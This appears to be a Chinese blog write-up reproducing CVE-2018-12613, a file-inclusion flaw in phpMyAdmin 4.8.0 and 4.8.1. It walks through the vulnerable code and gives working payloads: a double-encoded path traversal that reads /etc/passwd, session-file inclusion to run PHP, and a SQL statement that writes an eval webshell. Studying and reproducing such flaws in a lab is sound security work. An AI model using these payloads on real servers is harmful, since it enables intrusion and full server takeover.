CVE-2018-12613复现

CVE-2018-12613复现

漏洞描述:

攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。 攻击者必须经过身份验证,但在这些情况下除外:

  • $ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码;
  • $ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。

漏洞影响范围:

phpMyAdmin 4.8.0和4.8.1

漏洞复现环境:

phpstudy+phpmyadmin4.8.1

漏洞分析:

漏洞点在index.php第55~63行

if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

第61行出现了 include $_REQUEST[‘target’];

可以看出这里可能存在LFI漏洞

本地文件包含(Local File Include)是php脚本的一大特色,程序员们为了开发方便,常常会用到包含。比如把一系列功能函数都写进function.php中,之后当某个文件需要使用时直接调用定义的函数。 本地包含漏洞是php中一种典型的高危漏洞,由于程序员未对用户可控变量的输入进行检查,导致用户可以控制被包含的文件,成功利用时可以使web server将特定文件当成php执行,从而导致用户获取颐一定的服务器权限。

第57行限制 target 参数不能以index开头

第58行限制 target 参数不能出现在 $target_blacklist 内

$target_blacklist 的定义:

$target_blacklist = array (
    'import.php', 'export.php'
);

只要target参数不是import.phpexport.php即可

最后一个限制方法在phpMyAdmin/libraries/classes/core.php

Core类的checkPageValidity方法:

    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

审计代码发现在第 465 行的urldecode(),我们可以利用这个函数绕过白名单检测,只要把 ? 两次url编码为 %253f 即可绕过验证。

构造payload:

/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

passwd被读取,说明文件包含漏洞存在

执行一下SELECT '<?=phpinfo()?>'; 然后包含session文件

/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_f4c1cdbb5a0ab1a7d0ebb760bdeddc6a

查看到了phpinfo

同理,我们也可以写入webshell

select "<?php file_put_contents('/var/www/html/shell.php','<?php @eval($_POST[pass]);?>')?>"

然后链接蚁剑

拿到shell

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值